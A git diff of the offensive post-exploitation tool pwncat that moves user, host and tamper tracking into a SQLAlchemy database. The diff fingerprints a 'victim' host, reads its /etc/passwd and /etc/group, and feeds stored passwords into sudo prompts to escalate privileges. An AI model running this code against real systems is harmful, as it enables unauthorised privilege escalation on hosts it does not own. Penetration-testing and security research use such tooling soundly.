a/pwncat/privesc/sudo.py b/pwncat/privesc/sudo.py index 9c36e2f..914ce90 100644 --- a/pwncat/privesc/sudo.py +++ b/pwncat/privesc/sudo.py @@ -26,7 +26,7 @@ class SudoMethod(Method): def __init__(self, pty: "pwncat.pty.PtyHandler"): super(SudoMethod, self).__init__(pty) - def send_password(self, current_user): + def send_password(self, current_user: "pwncat.db.User"): # peak the output output = self.pty.peek_output(some=False).lower() @@ -36,10 +36,10 @@ class SudoMethod(Method): or b"password for " in output or output.endswith(b"password: ") ): - if current_user["password"] is None: + if current_user.password is None: self.pty.client.send(CTRL_C) # break out of password prompt raise PrivescError( - f"user {Fore.GREEN}{current_user['name']}{Fore.RESET} has no known password" + f"user {Fore.GREEN}{current_user.name}{Fore.RESET} has no known password" ) else: return # it did not ask for a password, continue as usual @@ -50,7 +50,7 @@ class SudoMethod(Method): # Reset the timeout to allow for sudo to pause old_timeout = self.pty.client.gettimeout() self.pty.client.settimeout(5) - self.pty.client.send(current_user["password"].encode("utf-8") + b"\n") + self.pty.client.send(current_user.password.encode("utf-8") + b"\n") output = self.pty.peek_output(some=True) @@ -68,7 +68,7 @@ class SudoMethod(Method): # Flush all the output self.pty.recvuntil(b"\n") raise PrivescError( - f"user {Fore.GREEN}{current_user['name']}{Fore.RESET} could not sudo" + f"user {Fore.GREEN}{current_user.name}{Fore.RESET} could not sudo" ) return @@ -101,7 +101,7 @@ class SudoMethod(Method): sudo_values = "\n".join( [ - f"{current_user['name']} ALL={l.decode('utf-8').strip()}" + f"{current_user.name} ALL={l.decode('utf-8').strip()}" for l in sudo_output_lines[sudo_output_index:] ] ) @@ -115,8 +115,6 @@ class SudoMethod(Method): sudo_rules = self.find_sudo() - current_user = self.pty.current_user - if not sudo_rules: return [] @@ -171,7 +169,7 @@ class SudoMethod(Method): techniques = [] for sudo_privesc in [*sudo_no_password, *sudo_all_users, *sudo_other_commands]: - if current_user["password"] is None and sudo_privesc["password"]: + if current_user.password is None and sudo_privesc["password"]: continue # Split the users on a comma diff --git a/pwncat/remote.py b/pwncat/remote.py index c0ba5b9..6828d31 100644 --- a/pwncat/remote.py +++ b/pwncat/remote.py @@ -1,4 +1,5 @@ #!/usr/bin/env python3 +import hashlib import io import os import shlex @@ -9,7 +10,10 @@ from typing import Dict, Optional, IO, Any, List, Tuple import requests from colorama import Fore +from sqlalchemy.engine import Engine, create_engine +from sqlalchemy.orm import Session, sessionmaker +import pwncat.db from pwncat import privesc from pwncat import persist from pwncat import util @@ -91,15 +95,68 @@ class Victim: self.shell: str = "unknown" self.privesc: privesc.Finder = None self.persist: persist.Persistence = persist.Persistence() + self.engine: Engine = None + self.session: Session = None + self.host: pwncat.db.Host = None def connect(self, client: socket.SocketType): + self.engine = create_engine(self.config["db"], echo=False) + pwncat.db.Base.metadata.create_all(self.engine) + + if self.session is None: + self.session_maker = sessionmaker(bind=self.engine) + self.session = self.session_maker() + # Initialize the socket connection self.client = client # We should always get a response within 3 seconds... self.client.settimeout(1) + # Attempt to grab the remote hostname and mac address + hostname_path = self.run("which hostname").strip().decode("utf-8") + if hostname_path.startswith("/"): + hostname = self.run("hostname -f") + else: + util.warn("hostname command not found; using peer address") + hostname = client.getpeername().encode("utf-8") + mac = None + + # Use ifconfig if available or ip link show. + ifconfig = self.run("which ifconfig").strip().decode("utf-8") + if ifconfig.startswith("/"): + ifconfig_a = self.run(f"{ifconfig} -a").strip().decode("utf-8").lower() + for line in ifconfig_a.split("\n"): + if "hwaddr" in line and "00:00:00:00:00:00" not in line: + mac = line.split("hwaddr ")[1].split("\n")[0].strip() + break + if mac is None: + ip = self.run("which ip").strip().decode("utf-8") + if ip.startswith("/"): + ip_link_show = self.run("ip link show").strip().decode("utf-8").lower() + for line in ip_link_show.split("\n"): + if "link/ether" in line and "00:00:00:00:00:00" not in line: + mac = line.split("link/ether ")[1].split(" ")[0] + break + + if mac is None: + util.warn("no mac address detected; host id only based on hostname!") + + # Calculate the remote host's hash entry for lookup/storage in the database + host_hash = hashlib.md5(hostname + str(mac).encode("utf-8")).hexdigest() + + # Lookup the remote host in our database. If it's not there, create an entry + self.host = self.session.query(pwncat.db.Host).filter_by(hash=host_hash).first() + if self.host is None: + self.host = pwncat.db.Host(hash=host_hash) + self.session.add(self.host) + self.session.commit() + + # We initialize this here, because it needs the database to initialize + # the history objects + self.command_parser.setup_prompt() + # Attempt to identify architecture self.arch = self.run("uname -m").decode("utf-8").strip() if self.arch == "amd64": @@ -959,42 +1016,86 @@ class Victim: def reload_users(self): """ Clear user cache and reload it """ - self.known_users = None + + # Clear the user cache + with self.open("/etc/passwd", "r") as filp: + for line in filp: + line = line.strip() + if line == "" or line[0] == "#": + continue + line = line.strip().split(":") + user = ( + self.session.query(pwncat.db.User) + .filter_by(host_id=self.host.id, id=int(line[2])) + .first() + ) + if user is None: + user = pwncat.db.User(id=int(line[2])) + user.name = line[0] + user.id = int(line[2]) + user.gid = int(line[3]) + user.fullname = line[4] + user.homedir = line[5] + user.shell = line[6] + if user not in self.host.users: + self.host.users.append(user) + + with self.open("/etc/group", "r") as filp: + for line in filp: + line = line.strip() + if line == "" or line.startswith("#"): + continue + + line = line.split(":") + group = ( + self.session.query(pwncat.db.Group) + .filter_by(host_id=self.host.id, id=int(line[2])) + .first() + ) + if group is None: + group = pwncat.db.Group(name=line[0], id=int(line[2])) + + group.name = line[0] + group.id = int(line[2]) + + for username in line[3].split(","): + user = ( + self.session.query(pwncat.db.User) + .filter_by(host_id=self.host.id, name=username) + .first() + ) + if user is not None and user not in group.members: + group.members.append(user) + + if group not in self.host.groups: + self.host.groups.append(group) + return self.users @property - def users(self): + def users(self) -> Dict[str, pwncat.db.User]: if self.client is None: return {} - if self.known_users: - return self.known_users + if len(self.host.users) == 0: + self.reload_users() - self.known_users = {} + known_users = {} - passwd = self.run("cat /etc/passwd").decode("utf-8") - for line in passwd.split("\n"): - line = line.strip() - if line == "" or line[0] == "#": - continue - line = line.strip().split(":") + for user in self.host.users: + known_users[user.name] = user - user_data = { - "name": line[0], - "password": None, - "uid": int(line[2]), - "gid": int(line[3]), - "description": line[4], - "home": line[5], - "shell": line[6], - } - self.known_users[line[0]] = user_data + return known_users - return self.known_users + def find_user_by_id(self, uid: int): + for user in self.users: + if user.id == uid: + return user + raise KeyError @property - def current_user(self): + def current_user(self) -> Optional[pwncat.db.User]: name = self.whoami() if name in self.users: return self.users[name] diff --git a/pwncat/tamper.py b/pwncat/tamper.py index d4a2631..190825e 100644 --- a/pwncat/tamper.py +++ b/pwncat/tamper.py @@ -1,9 +1,11 @@ #!/usr/bin/env python3 +import pickle from typing import List, Optional, Callable, Iterator from enum import Enum, auto from colorama import Fore import pwncat +from pwncat.util import Access class Action(Enum): @@ -34,6 +36,8 @@ class CreatedFile(Tamper): def revert(self): try: pwncat.victim.run(f"rm -f {self.path}") + if Access.EXISTS in pwncat.victim.access(self.path): + raise RevertFailed(f"{self.path}: unable to remove file") except (PermissionError, FileNotFoundError) as exc: raise RevertFailed(str(exc)) @@ -57,34 +61,33 @@ class ModifiedFile(Tamper): self.original_content = original_content def revert(self): - if self.added_lines: - # Read the current lines - with pwncat.victim.open(self.path, "r") as filp: - lines = filp.readlines() + try: + if self.added_lines: + # Read the current lines + with pwncat.victim.open(self.path, "r") as filp: + lines = filp.readlines() - # Remove matching lines - for line in self.added_lines: - try: - lines.remove(line) - except ValueError: - pass + # Remove matching lines + for line in self.added_lines: + try: + lines.remove(line) + except ValueError: + pass - # Write the new original_content - file_data = "".join(lines) - with pwncat.victim.open(self.path, "w", length=len(file_data)) as filp: - filp.write(file_data) + # Write the new original_content + file_data = "".join(lines) + with pwncat.victim.open(self.path, "w", length=len(file_data)) as filp: + filp.write(file_data) - elif self.original_content: - # Write the given original original_content back to the remote file - try: + elif self.original_content: with pwncat.victim.open( self.path, "wb", length=len(self.original_content) ) as filp: filp.write(self.original_content) - except (PermissionError, FileNotFoundError) as exc: - raise RevertFailed(str(exc)) - else: - raise RevertFailed("no original_content or added_lines specified") + else: + raise RevertFailed("no original_content or added_lines specified") + except (PermissionError, FileNotFoundError) as exc: + raise RevertFailed(str(exc)) def __str__(self): return f"{Fore.RED}Modified{Fore.RESET} {Fore.CYAN}{self.path}{Fore.RESET}" @@ -127,7 +130,7 @@ class TamperManager: added_lines: Optional[List[str]] = None, ): """ Add a new modified file tamper """ - self.tampers.append( + self.add( ModifiedFile( path, added_lines=added_lines, original_content=original_content ) @@ -135,20 +138,39 @@ class TamperManager: def created_file(self, path: str): """ Register a new added file on the remote system """ - self.tampers.append(CreatedFile(path)) + self.add(CreatedFile(path)) def add(self, tamper: Tamper): """ Register a custom tamper tracker """ - self.tampers.append(tamper) + serialized = pickle.dumps(tamper) + tracker = pwncat.db.Tamper(name=str(tamper), data=serialized) + pwncat.victim.host.tampers.append(tracker) + pwncat.victim.session.commit() def custom(self, name: str, revert: Optional[Callable] = None): - self.tampers.append(LambdaTamper(name, revert)) + self.add(LambdaTamper(name, revert)) def __iter__(self) -> Iterator[Tamper]: - yield from self.tampers + for tracker in pwncat.victim.host.tampers: + yield pickle.loads(tracker.data) + + def __len__(self): + return len(pwncat.victim.host.tampers) + + def __getitem__(self, item: int): + if not isinstance(item, int): + raise KeyError(f"{item}: not an integer") + return pickle.loads(pwncat.victim.host.tampers[item].data) def remove(self, tamper: Tamper): """ Pop a tamper from the list of known tampers. This does not revert the tamper. It removes the tracking for this tamper. """ - return self.tampers.remove(tamper) + tracker = ( + pwncat.victim.session.query(pwncat.db.Tamper) + .filter_by(name=str(tamper)) + .first() + ) + if tracker is not None: + pwncat.victim.session.delete(tracker) + pwncat.victim.session.commit() diff --git a/requirements.txt b/requirements.txt index 1779cfd..ab4d213 100644 --- a/requirements.txt +++ b/requirements.txt @@ -5,4 +5,5 @@ netifaces==0.10.9 pygments==2.6.1 base64io commentjson -requests \ No newline at end of file +requests +sqlalchemy \ No newline at end of file diff --git a/setup.py b/setup.py index b5d0e49..5d09b5c 100644 --- a/setup.py +++ b/setup.py @@ -14,7 +14,8 @@ dependencies = [ "base64io", "commentjson", "requests", - "prompt-toolkit" + "prompt-toolkit", + "sqlalchemy" ] dependency_links = [